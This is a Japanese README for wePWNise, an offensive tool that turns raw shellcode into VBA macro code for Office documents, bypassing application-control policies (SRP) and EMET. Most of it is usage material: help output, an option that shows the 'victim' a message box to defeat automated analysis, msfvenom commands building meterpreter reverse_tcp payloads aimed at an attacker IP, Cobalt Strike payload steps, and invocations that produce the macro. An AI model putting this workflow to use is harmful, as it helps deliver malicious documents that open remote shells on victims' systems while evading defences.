
WePWNiseは、Officeドキュメントやテンプレートで使用するアーキテクチャに依存しないVBAコードを生成し、アプリケーション制御やエクスプロイト緩和ソフトウェアのバイパスを自動化します。
wePWNise は、Office マクロやテンプレートで使用可能な VBA コードを生成する概念実証の Python スクリプトです。自動化と統合を念頭に設計されており、ロックダウンされた環境のシナリオを対象としています。このツールは、ソフトウェア制限ポリシー (SRP) と EMET の緩和策を列挙し、安全なバイナリを動的に識別してペイロードを注入します。wePWNise は、既存のエクスプロイトフレームワーク (Metasploit、Cobalt Strike など) と統合し、任意のカスタムペイロードを raw 形式で受け入れます。
wePWNise を使用するには、まずサポートされているオプションを確認してください。
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise は、未知のターゲットに到達したときに適切なタイプを配信できるように、32 ビットと 64 ビットの両方の raw ペイロードを必要とします。ただし、x86 アーキテクチャのみを対象とする場合は、不足しているコードを置き換えるためにダミーの 64 ビットペイロードを提供する必要があります。
特定の自動分析構成を無効にするために、コードの実行時にメッセージボックスが開きます。メッセージボックスのテキストは、--msg パラメータで値を定義することで変更できます。この機能を無効にするには、--msgbox パラメータを False に設定します。
長い SRP/EMET ポリシーの結果として生じる可能性のあるパフォーマンスの問題に対応するため、wePWNise は 2 つの設定ファイル (binary-paths.txt および directory-paths.txt) を読み取ります。これらのファイルには、監視される可能性が低い実行可能ファイルとディレクトリのリストが含まれており、最初にチェックされます。ユーザーはこれらのファイルの内容を編集して、代わりに独自の選択肢を定義できます。ファイルが空の場合、wePWNise はレジストリで定義されている SRP/EMET ポリシーを直接読み取り、取得した情報に基づいて注入の選択を純粋に行います。
以下のセクションでは、wePWNise の基本的な使用例を説明します。
まず、x86 および x64 アーキテクチャのペイロードを raw 形式で生成し、Metasploit リスナーが適切に設定されていることを確認します。
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
次に、wePWNise に生成されたペイロードを指定し、出力を msf_wepwn.txt にリダイレクトします。
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Cobalt Strike で raw ペイロードを生成するには、次のメニューに移動し、Output ドロップダウンから Raw 形式を選択します。このプロセスを繰り返し、x64 チェックボックスを有効にして 64 ビットペイロードを生成します。
Attacks > Packages > Payload Generator
生成されたペイロードを wePWNise に入力して、VBA コードを生成します。
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
特定のケースでは、x86 ペイロードのみが利用可能な場合があります。wePWNise は 32 ビットと 64 ビットの両方のペイロードを必要とするため、64 ビット注入を無効にするには、ダミーの 64 ビットファイルを作成し、--inject64 パラメータを False に設定します。
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
同様に、64 ビットペイロードのみを生成するには、ダミーの x86 ファイルを作成し、wePWNise の -i86 コマンドラインパラメータに指定します。
wePWNise は 3-Clause BSD ライセンスの下でリリースされており、MWR InfoSecurity によってメンテナンスされています。
このツールは元々 Vincent Yiu (@vysecurity) によって開発されました。